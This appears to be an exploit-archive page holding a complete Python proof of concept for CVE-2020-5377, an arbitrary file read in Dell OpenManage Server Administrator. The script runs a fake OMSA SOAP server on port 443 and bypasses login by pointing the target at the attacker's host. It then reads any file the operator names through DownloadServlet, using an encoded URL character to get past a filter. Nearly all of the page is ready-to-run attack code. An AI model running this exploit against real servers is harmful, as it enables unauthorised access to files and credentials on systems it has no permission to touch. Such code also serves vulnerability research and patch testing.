4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2020-5377.py PY
# Proof of Concept for CVE-2020-5377 - Arbitrary File Read in Dell OpenManage Administrator
# Written by: h3x0v3rl0rd

import http.server
import ssl
import sys
import re
import os
import requests
import _thread
from xml.sax.saxutils import escape

import urllib3
urllib3.disable_warnings()

# Usage instruction
if len(sys.argv) < 3:
    print('Usage: python3 CVE-2020-5377.py <yourIP> <targetIP>:<targetPort>')
    exit()

# Handler for HTTP requests mimicking a Dell OMSA remote system
class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        data = ''
        content_len = int(self.headers.get('content-length', 0))
        post_body = self.rfile.read(content_len)
        self.send_response(200)
        self.send_header("Content-type", "application/soap+xml;charset=UTF-8")
        self.end_headers()
        
        # Check for specific commands and prepare responses
        if b"__00omacmd=getuserrightsonly" in post_body:
            data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>")
        elif b"__00omacmd=getaboutinfo" in post_body:
            data = escape("<ProductVersion>6.0.3</ProductVersion>")
        
        if data:
            requid = re.findall(b'>uuid:(.*?)<', post_body)[0].decode('utf-8')
            response = f'''<?xml version="1.0" encoding="UTF-8"?>
                        <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule">
                          <s:Header>
                            <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
                            <wsa:RelatesTo>uuid:{requid}</wsa:RelatesTo>
                            <wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID>
                          </s:Header>
                          <s:Body>
                            <n1:SendCmd_OUTPUT>
                              <n1:ResultCode>0</n1:ResultCode>
                              <n1:ReturnValue>{data}</n1:ReturnValue>
                            </n1:SendCmd_OUTPUT>
                          </s:Body>
                        </s:Envelope>'''
            self.wfile.write(response.encode('utf-8'))
        else:
            default_response = '''<?xml version="1.0" encoding="UTF-8"?>
                                   <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd">
                                     <s:Header/>
                                     <s:Body>
                                       <wsmid:IdentifyResponse>
                                         <wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion>
                                         <wsmid:ProductVendor>Dell Inc.</wsmid:ProductVendor>
                                         <wsmid:ProductVersion>1.0</wsmid:ProductVersion>
                                       </wsmid:IdentifyResponse>
                                     </s:Body>
                                   </s:Envelope>'''
            self.wfile.write(default_response.encode('utf-8'))
    
    def log_message(self, format, *args):
        return

# Check for existing server.pem certificate and generate if not found
created_cert = False
if not os.path.isfile('./server.pem'):
    print('[-] No server.pem certificate file found. Generating one...')
    os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"')
    created_cert = True

# Function to start the server
def start_server():
    server_class = http.server.HTTPServer
    httpd = server_class(('0.0.0.0', 443), MyHandler)
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.load_cert_chain(certfile='./server.pem')
    httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
    httpd.serve_forever()

_thread.start_new_thread(start_server, ())

my_ip = sys.argv[1]
target = sys.argv[2]

# Function to bypass authentication
def bypass_auth():
    values = {}
    url = "https://{}/LoginServlet?flag=true&managedws=false".format(target)
    data = {
        "manuallogin": "true",
        "targetmachine": my_ip,
        "user": "VULNERABILITY:CVE-2020-5377",
        "password": "plz",
        "application": "omsa",
        "ignorecertificate": "1"
    }
    r = requests.post(url, data=data, verify=False, allow_redirects=False)
    cookie_header = r.headers['Set-Cookie']
    session_id = re.findall('JSESSIONID=(.*?);', cookie_header)[0]
    path_id = re.findall('Path=/(.*?);', cookie_header)[0]
    values['sessionid'] = session_id
    values['pathid'] = path_id
    return values

ids = bypass_auth()
session_id = ids['sessionid']
path_id = ids['pathid']

print("Session: " + session_id)
print("VID: " + path_id)

# Function to read file from target
def read_file(target, sess_id, path_id):
    while True:
        file = input('file > ')
        url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file)
        s = requests.Session()
        cookies = {"JSESSIONID": sess_id}
        req = requests.Request(method='GET', url=url, cookies=cookies)
        prep = req.prepare()
        prep.url = "https://{}/{}/DownloadServle%74?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file)
        r = s.send(prep, verify=False)
        print('Reading contents of {}:\n{}'.format(file, r.content.decode('utf-8')))

# Function to format the file path for Windows
def get_path(path):
    if path.lower().startswith('c:\\'):
        path = path[2:]
    return path.replace('\\','/')

# Start reading files
read_file(target, session_id, path_id)